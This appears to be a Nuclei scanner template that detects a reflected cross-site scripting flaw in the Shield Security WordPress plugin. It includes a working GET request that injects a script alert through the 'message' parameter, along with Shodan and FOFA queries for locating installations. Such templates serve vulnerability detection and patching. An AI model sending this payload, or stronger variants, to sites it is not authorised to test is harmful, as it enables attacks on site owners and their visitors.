id: CVE-2026-0561
info:
name: Shield Security <= 21.0.8 - Unauthenticated Reflected XSS
author: str4k3r
severity: medium
description: |
Shield Security WordPress plugin <= 21.0.8 contains a reflected cross-site scripting caused by insufficient input sanitization and output escaping in the 'message' parameter, letting unauthenticated attackers inject scripts, exploit requires user interaction.
impact: |
Unauthenticated attackers can inject scripts that execute in users' browsers, potentially stealing data or performing actions on behalf of users.
remediation: |
Update to a version later than 21.0.8 or the latest available version.
reference:
- https://research.cleantalk.org/cve-2026-0561/
- https://www.wordfence.com/threat-intel/vulnerabilities/id/cb49eb5f-c1ff-4440-8b53-c2515e65da27?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2026-0561
classification:
cve-id: CVE-2026-0561
epss-score: 0.00503
epss-percentile: 0.41507
cwe-id: CWE-79
cvss-score: 6.1
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
metadata:
vendor: wp-simple-firewall
product: shield-security
framework: wordpress
verified: true
max-request: 1
shodan-query: http.html:"/wp-content/plugins/wp-simple-firewall/"
fofa-query: body="/wp-content/plugins/wp-simple-firewall/"
tags: cve,cve2026,wordpress,wp-plugin,shield-security,unauth,xss
http:
- method: GET
path:
- "{{BaseURL}}/?action=shield_action&ex=display_full_page_dynamic&render_slug=render_shield_wploginreplica_header&title=nuclei&message=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script>"
- 'id="login"'
condition: and
- type: status
status:
- 200
# digest: 4a0a004730450220057d00c29838590c2343ac30ad080632b2ba97626b8156c19a7e61e36fc9b089022100ab08b254f07f6e7f62766a348942aa599bc1dcf3fcd06642ebb13803ec6e173f:922c64590222798bb761d5b6d8e72950